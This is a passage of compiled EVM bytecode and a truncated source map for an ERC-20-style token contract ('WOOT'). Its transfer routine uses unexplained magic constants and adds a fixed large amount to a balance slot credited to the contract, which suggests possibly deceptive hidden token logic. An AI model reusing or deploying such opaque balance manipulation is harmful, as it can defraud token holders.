d5b506108206112e8565b005b34801561082e57600080fd5b50610837611453565b6040518082815260200191505060405180910390f35b34801561085957600080fd5b50610862611459565b6040518082815260200191505060405180910390f35b34801561088457600080fd5b5061088d61145f565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108b8611465565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e361146b565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b506109486004803603602081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b60405180821515815260200191505060405180910390f35b34801561096c57600080fd5b50610975611491565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ad57600080fd5b506109b66114ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f65780820151818401526020810190506109db565b50505050905090810190601f168015610a235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3d57600080fd5b50610a4661155c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7e57600080fd5b50610acb60048036036040811015610a9557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611582565b60405180821515815260200191505060405180910390f35b348015610aef57600080fd5b50610b3c60048036036040811015610b0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061164f565b60405180821515815260200191505060405180910390f35b348015610b6057600080fd5b50610b6961166e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba157600080fd5b50610bd860048036036040811015610bb857600080fd5b810190808035906020019092919080359060200190929190505050611694565b6040518082815260200191505060405180910390f35b348015610bfa57600080fd5b50610c036116c1565b6040518082815260200191505060405180910390f35b348015610c2557600080fd5b50610c2e6116c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6657600080fd5b50610ca960048036036020811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b60405180821515815260200191505060405180910390f35b348015610ccd57600080fd5b50610cfa60048036036020811015610ce457600080fd5b810190808035906020019092919050505061170d565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611741565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117c8565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b005b348015610e7557600080fd5b50610e7e6119bc565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb85604051806060016040528060338152602001612d5060339139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061117861112d7f000000000000000000000000000000000000000000000000000000000000000061129f565b61116a6111597f000000000000000000000000000000000000000000000000000000000000dead61129f565b60165461246690919063ffffffff16565b61246690919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b601e5481565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f0611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b60195481565b60205481565b60175481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115525780601f1061152757610100808354040283529160200191611552565b820191906000526020600020905b81548152906001019060200180831161153557829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061164561158f611af3565b8461164085604051806060016040528060308152602001612e8f60309139600760006115b9611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b6001905092915050565b600061166361165c611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183106116a5578190506116bb565b8160028401106116b7578190506116bb565b8290505b92915050565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b600e816004811061171d57600080fd5b016000915090505481565b601b60159054906101000a900460ff1681565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117d6611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612e5d6032913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612d83602d913960400191505060405180910390fd5b809150505b92915050565b6000611a808383604051806060016040528060268152602001612cac60269139612493565b905092915050565b600080828401905083811015611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612e366027913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612ddd602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612db0602d913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612ebf6030913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612cf6602e913960400191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f848484612559565b905061239f565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612cd26024913960400191505060405180910390fd5b5b6000611f363061129f565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612885565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121025760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f8861129f565b611a8890919063ffffffff16565b1115612101576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c6574204c696d69742121436865636120616761696e2e00000000000081525060200191505060405180910390fd5b5b61217b6121566121316103e8612123602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e60036004811061218957fe5b01819055506121e16121ba6103e86121ac602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e6002600481106121ef57fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122975750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8061233f5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061233e5750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561235b5761044d601e6000828254019250508190555061238c565b61de16601d54146123735761236e61295b565b61238b565b610842601e600082825401925050819055601d819055505b5b612397868686612559565b506001925050505b9392505050565b6000838311158290612453576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124185780820151818401526020810190506123fd565b50505050905090810190601f1680156124455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061248b83836040518060600160405280602a8152602001612e0c602a91396123a6565b905092915050565b6000808311829061253f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125045780820151818401526020810190506124e9565b50505050905090810190601f1680156125315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161254b57fe5b049050809150509392505050565b60006125e4826040518060400160405280601881526020017f496e73756666696369656e74436865636120616761696e2e0000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061263d57fe5b0181905550601b60149054906101000a900460ff1615612681576000600e60036004811061266757fe5b018190555081600e60026004811061267b57fe5b01819055505b60006126be600e60026004811061269457fe5b01546063017e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b905061271281600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b6600e60036004811061276657fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061280f57fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff0219169083151502179055506128a9816129ca565b6000479050600081111561292157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561291f573d6000803e3d6000fd5b505b6101a1601e819055600e60016004811061293757fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b066c6ef08e51006c03a941dc600e60036004811061298d57fe5b0160008282540192505081905550601e54601d81905550610999601e819055600e6001600481106129ba57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129e457600080fd5b50604051908082528060200260200182016040528015612a135781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a7e57600080fd5b505afa158015612a92573d6000803e3d6000fd5b505050506040513d6020811015612aa857600080fd5b810190808051906020019092919050505081600181518110612ac657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612b0e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c39578082015181840152602081019050612c1e565b505050509050019650505050505050600060405180830381600087803b158015612c6257600080fd5b505af1158015612c76573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c9957fe5b0181905550601e54601d81905550505056fe536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636120616761696e2e574f4f543a207472616e7366657220746f20746865207a65726f2061646472657373436865636120616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636120616761696e2e574f4f543a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e574f4f543a20617070726f766520746f20746865207a65726f2061646472657373436865636120616761696e2e574f4f543a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636120616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636120616761696e2e574f4f543a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636120616761696e2e574f4f543a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636120616761696e2ea2646970667358221220310ffd8dabf149524881c68948fad21157a0b4e17526833edc38e16ce70e25c864736f6c63430007060033

Deployed Bytecode Sourcemap

11637:10636:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11837:97;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15566:85;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12167:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16711:163;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13234:43;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15831:102;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12550:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17782:326;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12077:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17224:158;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15744:85;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12594:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16205:220;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12763:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12417:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12704:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13519:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12375:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15935:121;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3119:232;;;;;;;;;;;;;:::i;:::-;;13082:63;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13158:62;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13601:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12985:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13439:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12872:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;2904:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15653:89;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12036:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16427:282;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17607:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11941:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;20385:138;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12506:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13284:28;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12811:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12635:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13343:47;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12462:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16058:145;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13562:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3353:258;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13482:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13395:37;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11837:97;;;;;;;;;;;;;:::o;15566:85::-;15605:13;15638:5;15631:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15566:85;:::o;12167:83::-;;;:::o;16711:163::-;16788:4;16805:39;16814:12;:10;:12::i;:::-;16828:7;16837:6;16805:8;:39::i;:::-;16862:4;16855:11;;16711:163;;;;:::o;13234:43::-;;;;;;;;;;;;;:::o;15831:102::-;15886:7;15913:12;;15906:19;;15831:102;:::o;12550:37::-;;;;:::o;17782:326::-;17882:4;17899:36;17909:6;17917:9;17928:6;17899:9;:36::i;:::-;;17946:132;17955:6;17963:12;:10;:12::i;:::-;17977:100;18015:6;17977:100;;;;;;;;;;;;;;;;;:11;:19;17989:6;17977:19;;;;;;;;;;;;;;;:33;17997:12;:10;:12::i;:::-;17977:33;;;;;;;;;;;;;;;;:37;;:100;;;;;:::i;:::-;17946:8;:132::i;:::-;18096:4;18089:11;;17782:326;;;;;:::o;12077:83::-;;;:::o;17224:158::-;17279:7;17306:68;17351:22;17361:11;17351:9;:22::i;:::-;17306:40;17323:22;17333:11;17323:9;:22::i;:::-;17306:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;17299:75;;17224:158;:::o;15744:85::-;15787:5;15812:9;;;;;;;;;;;15805:16;;15744:85;:::o;12594:34::-;;;;:::o;16205:220::-;16295:4;16312:83;16321:12;:10;:12::i;:::-;16335:7;16344:50;16383:10;16344:11;:25;16356:12;:10;:12::i;:::-;16344:25;;;;;;;;;;;;;;;:34;16370:7;16344:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16312:8;:83::i;:::-;16413:4;16406:11;;16205:220;;;;:::o;12763:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;12417:38::-;;;;:::o;12704:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;13519:36::-;;;;:::o;12375:35::-;;;;:::o;15935:121::-;16003:7;16030:9;:18;16040:7;16030:18;;;;;;;;;;;;;;;;16023:25;;15935:121;;;:::o;3119:232::-;3038:12;:10;:12::i;:::-;3028:22;;:6;;;;;;;;;;:22;;;3020:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3228:42:::1;3191:81;;3212:6;::::0;::::1;;;;;;;;3191:81;;;;;;;;;;;;3300:42;3283:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3119:232::o:0;13082:63::-;;;;:::o;13158:62::-;;;;:::o;13601:35::-;;;;:::o;12985:81::-;;;;:::o;13439:38::-;;;;:::o;12872:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;2904:81::-;2944:7;2971:6;;;;;;;;;;;2964:13;;2904:81;:::o;15653:89::-;15694:13;15727:7;15720:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15653:89;:::o;12036:34::-;;;;;;;;;;;;;:::o;16427:282::-;16522:4;16539:140;16548:12;:10;:12::i;:::-;16562:7;16571:107;16610:15;16571:107;;;;;;;;;;;;;;;;;:11;:25;16583:12;:10;:12::i;:::-;16571:25;;;;;;;;;;;;;;;:34;16597:7;16571:34;;;;;;;;;;;;;;;;:38;;:107;;;;;:::i;:::-;16539:8;:140::i;:::-;16697:4;16690:11;;16427:282;;;;:::o;17607:169::-;17687:4;17704:42;17714:12;:10;:12::i;:::-;17728:9;17739:6;17704:9;:42::i;:::-;;17764:4;17757:11;;17607:169;;;;:::o;11941:88::-;;;;;;;;;;;;;:::o;20385:138::-;20451:7;20470:1;20467;:4;20463:17;;20479:1;20472:8;;;;20463:17;20494:1;20491;20489;:3;:6;20485:19;;20503:1;20496:8;;;;20485:19;20516:1;20509:8;;20385:138;;;;;:::o;12506:37::-;;;;:::o;13284:28::-;;;;;;;;;;;;;:::o;12811:54::-;;;;;;;;;;;;;;;;;;;;;;:::o;12635:68::-;;;;;;;;;;;;;;;;;;;;:::o;13343:47::-;;;;;;;;;;;;;:::o;12462:37::-;;;;:::o;16058:145::-;16141:7;16168:11;:18;16180:5;16168:18;;;;;;;;;;;;;;;:27;16187:7;16168:27;;;;;;;;;;;;;;;;16161:34;;16058:145;;;;:::o;13562:34::-;;;;:::o;3353:258::-;3038:12;:10;:12::i;:::-;3028:22;;:6;;;;;;;;;;:22;;;3020:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3464:1:::1;3444:22;;:8;:22;;;;3436:85;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3566:8;3537:38;;3558:6;::::0;::::1;;;;;;;;3537:38;;;;;;;;;;;;3595:8;3586:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3353:258:::0;:::o;13482:35::-;;;;:::o;13395:37::-;;;;;;;;;;;;;:::o;1624:242::-;1682:7;1711:1;1706;:6;1702:47;;;1736:1;1729:8;;;;1702:47;1752:9;1768:1;1764;:5;1752:17;;1797:1;1792;1788;:5;;;;;;:10;1780:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1857:1;1850:8;;;1624:242;;;;;:::o;1868:144::-;1926:7;1953:51;1957:1;1960;1953:51;;;;;;;;;;;;;;;;;:3;:51::i;:::-;1946:58;;1868:144;;;;:::o;1107:182::-;1165:7;1185:9;1201:1;1197;:5;1185:17;;1226:1;1221;:6;;1213:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1280:1;1273:8;;;1107:182;;;;:::o;177:115::-;230:15;273:10;258:26;;177:115;:::o;16876:348::-;16986:1;16969:19;;:5;:19;;;;16961:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17078:1;17059:21;;:7;:21;;;;17051:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17162:6;17132:11;:18;17144:5;17132:18;;;;;;;;;;;;;;;:27;17151:7;17132:27;;;;;;;;;;;;;;;:36;;;;17200:7;17184:32;;17193:5;17184:32;;;17209:6;17184:32;;;;;;;;;;;;;;;;;;16876:348;;;:::o;18114:2019::-;18201:4;18235:1